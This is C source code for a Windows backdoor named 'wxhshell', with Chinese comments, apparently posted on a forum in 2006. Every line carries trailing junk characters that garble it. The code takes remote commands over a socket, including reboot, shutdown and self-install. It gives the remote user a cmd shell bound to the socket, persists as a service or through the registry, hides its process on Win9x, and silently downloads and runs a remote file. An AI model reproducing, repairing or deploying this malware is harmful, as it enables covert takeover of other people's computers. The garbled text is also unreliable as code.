  -Fodqq@,  
  // 帮助 _u^ S[  
  case '?': { )g9&fGYf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R4<}kA,.  
    break;  R1YRqk  
  } \e5bxc  
  // 安装 Ly?gpOqu5  
  case 'i': { i/nA(%_  
    if(Install()) g/b_\__A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kzhncku  
    else F/\w4T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b!Q|0X.?  
    break; Z-RgN  
    } aClXg-  
  // 卸载 C@` eYi  
  case 'r': { ^D(N_va<  
    if(Uninstall()) -{i;!XE$SR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [YY[E 7  
    else x4cP%{n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zV\\T(R)  
    break; QvK-3w;=  
    } <im BFw  
  // 显示 wxhshell 所在路径 yz}Agc4.I  
  case 'p': { nV-A0"z_&  
    char svExeFile[MAX_PATH]; W6t"n_%?"  
    strcpy(svExeFile,"\n\r"); LYPjdp2>"o  
      strcat(svExeFile,ExeFile); G J=<~S"  
        send(wsh,svExeFile,strlen(svExeFile),0); !5Ko^:+Y  
    break; W8Z&J18AU  
    } 8[SiIuIV  
  // 重启 [kx_Izi/T  
  case 'b': { sO~:e?F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7hq*+e  
    if(Boot(REBOOT)) 6 6x> *  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k=j--`$8k  
    else { hPhNDmL#3  
    closesocket(wsh); =PiDZS^"  
    ExitThread(0); HTK79 +  
    } AvdxDN  
    break; P agzp%m  
    } ]Cpd`}'  
  // 关机 MP\$_;&xB  
  case 'd': { P SDzs\s  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CUgXpU*  
    if(Boot(SHUTDOWN)) 0FfBD[E:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &k+G^ !=s#  
    else { Paz yY   
    closesocket(wsh); 'v.i' 6  
    ExitThread(0); zhbp"yju7  
    } $\l7aA5~  
    break; s5T$>+ a  
    } >s}b q#x  
  // 获取shell a;J{'PHu  
  case 's': { 5 T1M:~u i  
    CmdShell(wsh); _D:#M  
    closesocket(wsh); Z -`j)3Y  
    ExitThread(0); wkK61a h6  
    break; 0[@ 9f1Nk4  
  } RKsr}-1 8  
  // 退出 $:kG>R@\t  
  case 'x': { \TS t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eOa:%{Kj  
    CloseIt(wsh); l/,O9ur-  
    break; U`_(Lq%5W  
    } ,.tv#j|A  
  // 离开 F23/|q{{  
  case 'q': { B#'TF?HUEn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TQDb\d8,f  
    closesocket(wsh); [H-,zY  
    WSACleanup(); QLYb>8?"C  
    exit(1); bE _=L=NG  
    break; iva&W  
        } W8j)2nKD  
  } 5;5;bBo~  
  } mAh0xgm  
%pmowo~{  
  // 提示信息 5inmFT?9Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ym+k \h  
} m RB-}  
  } ^'Wkb7L  
n<6p0w  
  return; :9N~wd  
} {7 &(2Z]z  
deSrs:.  
// shell模块句柄 m`!C|?hu  
int CmdShell(SOCKET sock) }I;A\K]  
{ `T2RaWR4=  
STARTUPINFO si; %;kr%%t%  
ZeroMemory(&si,sizeof(si)); =s`\W7/;{-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1UX"iO x(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 59gt#1k  
PROCESS_INFORMATION ProcessInfo; ZzPlIl}\  
char cmdline[]="cmd"; ucQ2/B#'4l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Mw2?U>h1  
  return 0; -M}#-qwf  
} ;u!qu$O  
}Z*@EWc>  
// 自身启动模式 zRPXmu{t  
int StartFromService(void) Z-;<R$  
{ Yz;Hu$/  
typedef struct WbC|2!  
{ Tct8NG  
  DWORD ExitStatus; k L2(M6m  
  DWORD PebBaseAddress; 'L)@tkklp  
  DWORD AffinityMask; %E Jv!u*-  
  DWORD BasePriority; ,<*n>W4|  
  ULONG UniqueProcessId; Qi`Lj5;\F  
  ULONG InheritedFromUniqueProcessId; #4"(M9kf  
}   PROCESS_BASIC_INFORMATION;  $6w[h7  
!qPVC\l  
PROCNTQSIP NtQueryInformationProcess; tjc3;9  
P]:r'^Yn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 44 ,:@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mxsmW  
+c5z-X$^]  
  HANDLE             hProcess; {aP5Mem  
  PROCESS_BASIC_INFORMATION pbi; DK 4 8  
TB 9{e!4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,-^Grmr4M  
  if(NULL == hInst ) return 0; O_aZ\28};C  
AFO g*{1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }z6@Z#%q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (3YCe{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xWlj.Tjt}  
"']I.  
  if (!NtQueryInformationProcess) return 0; @sRRcP~  
pMM,ox"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f$$l,wo  
  if(!hProcess) return 0; ScU?T<u:i  
B9pro%R1Bo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :4s{?IY)l  
:GXiA  
  CloseHandle(hProcess); -C]RFlV  
y?j#;n0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a5jc8S>  
if(hProcess==NULL) return 0; NXsDn&&O  
3jQy"9f  
HMODULE hMod; 4eTfb  
char procName[255]; s>(OK.o  
unsigned long cbNeeded; }eh<F^  
7K3S\oPej  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -b+VzVJZ  
qeLfO  
  CloseHandle(hProcess); x!GHUz*:uz  
(hej 3;W  
if(strstr(procName,"services")) return 1; // 以服务启动 r'xZF~}k"~  
c}GmS@  
  return 0; // 注册表启动 k4jZu?\C]  
} Wr H7tz  
SskvxH+7  
// 主模块 f*KNt_|:  
int StartWxhshell(LPSTR lpCmdLine) [:<CgU9C  
{ KM$L u2  
  SOCKET wsl; mUY+v>F  
BOOL val=TRUE; `s93P^%  
  int port=0; ]V*s-och'  
  struct sockaddr_in door; :U_k*9z}=  
!_CBf#0  
  if(wscfg.ws_autoins) Install(); _$%.F| :  
_7r<RZ  
port=atoi(lpCmdLine); RGFanP  
vgY ) L  
if(port<=0) port=wscfg.ws_port; <uZ r.X  
vw VeHjR  
  WSADATA data; Oz(0$c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1y@d`k`t:  
FJo  ?~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8qGK"%{ ~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -t~l!! N(  
  door.sin_family = AF_INET; ApHs`0=(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [4 L[.N@  
  door.sin_port = htons(port); A\p'\@f  
c,nE@~ul2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Hx[YHu KL^  
closesocket(wsl); 5%,5Xe4p  
return 1; E~vM$$O$  
} 3V ~871:-~  
wSoIU,I  
  if(listen(wsl,2) == INVALID_SOCKET) { ssaEAm:  
closesocket(wsl); Ji4xor  
return 1; =@(&xfTC  
} J%ng8v5ex  
  Wxhshell(wsl); kt?G\H!}  
  WSACleanup(); y%%D="  
{FRUB(68b  
return 0; |Iei!jm  
x=>B 6o-f  
} hG~4i:p <  
d-/{@   
// 以NT服务方式启动 s2=rj?g&(X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "(bnr0  
{ ;f,`T  
DWORD   status = 0; Xc"l')1H  
  DWORD   specificError = 0xfffffff; 3!E*h0$}  
"B`k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o 4G%m>$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _9yb5_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  v?Dc3  
  serviceStatus.dwWin32ExitCode     = 0; q?} /q  
  serviceStatus.dwServiceSpecificExitCode = 0; >g7}JI&  
  serviceStatus.dwCheckPoint       = 0; }e$^v*16  
  serviceStatus.dwWaitHint       = 0; XY %er  
:[![9JS/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eC`} oEz  
  if (hServiceStatusHandle==0) return; |f5WN&c  
OsI>gX>  
status = GetLastError(); oz3N 8^M  
  if (status!=NO_ERROR) {wsO8LX  
{ ,:6gp3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Jw13 Wb-  
    serviceStatus.dwCheckPoint       = 0; [Q"*I2&  
    serviceStatus.dwWaitHint       = 0; %oPW`r  
    serviceStatus.dwWin32ExitCode     = status; m?3!  
    serviceStatus.dwServiceSpecificExitCode = specificError; A^lJlr:_`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .*FBr7rE\  
    return; 8<V6W F`e  
  } L#U-d zy\  
UuXq+HYR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +/xmxh$ $  
  serviceStatus.dwCheckPoint       = 0; l~ 3H"  
  serviceStatus.dwWaitHint       = 0; s<3cvF<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Hq<Sg4nz  
} SURbH;[   
ogD 8qrZ6J  
// 处理NT服务事件,比如:启动、停止 dH]0 (aJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a)L\+$@*  
{ 581Jp'cje  
switch(fdwControl) G<1)N T\u  
{ r~f*aD  
case SERVICE_CONTROL_STOP: /QuuBtp  
  serviceStatus.dwWin32ExitCode = 0; z~Zu >Q1u[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; NTq#'O) f  
  serviceStatus.dwCheckPoint   = 0; ,Dh+-}  
  serviceStatus.dwWaitHint     = 0; KX8$j$yW  
  { \Af25Mcf:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qm9r>m6p@N  
  } W5 l)mAv  
  return; iczJXA+  
case SERVICE_CONTROL_PAUSE: /G[2   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \ a}6NIo  
  break; DX3xWdnr  
case SERVICE_CONTROL_CONTINUE: =AaTn::e/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }ACWSkWK  
  break; :+?eF^ 5  
case SERVICE_CONTROL_INTERROGATE: m@(8-_  
  break; 'v|R' wi\  
}; ad <z+a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dU4  h  
} cf\PG&S  
Ltk'`  
// 标准应用程序主函数 :A2{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LYTx8  
{ SNLZU%jan  
r0MUv}p#|L  
// 获取操作系统版本 :vsBobiJ  
OsIsNt=GetOsVer(); |:qaF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1#nR$  
o 8fB  
  // 从命令行安装 pTzwyj!SD  
  if(strpbrk(lpCmdLine,"iI")) Install(); +=_^4  
TNi4H:\  
  // 下载执行文件 SynL%Y9)|,  
if(wscfg.ws_downexe) { +V2\hq[{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %P3|#0yg0  
  WinExec(wscfg.ws_filenam,SW_HIDE); #.Q3}[M  
} 9^yf'9S1  
|ZJ<J)y  
if(!OsIsNt) { D./!/>@f  
// 如果时win9x,隐藏进程并且设置为注册表启动 m!'moumL;  
HideProc(); *U<l$gajq  
StartWxhshell(lpCmdLine); /Kw}R5l  
} Kp]\r-5UD>  
else Kivr)cIG  
  if(StartFromService()) U3UKu/Z  
  // 以服务方式启动 |gV$ks\<  
  StartServiceCtrlDispatcher(DispatchTable); adCTo  
else , ZisJksk  
  // 普通方式启动 #\P\(+0K  
  StartWxhshell(lpCmdLine); d17RJW%A  
[quT&E  
return 0; @%FLT6MY  
}
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只看该作者 1 发表于: 2006-10-10
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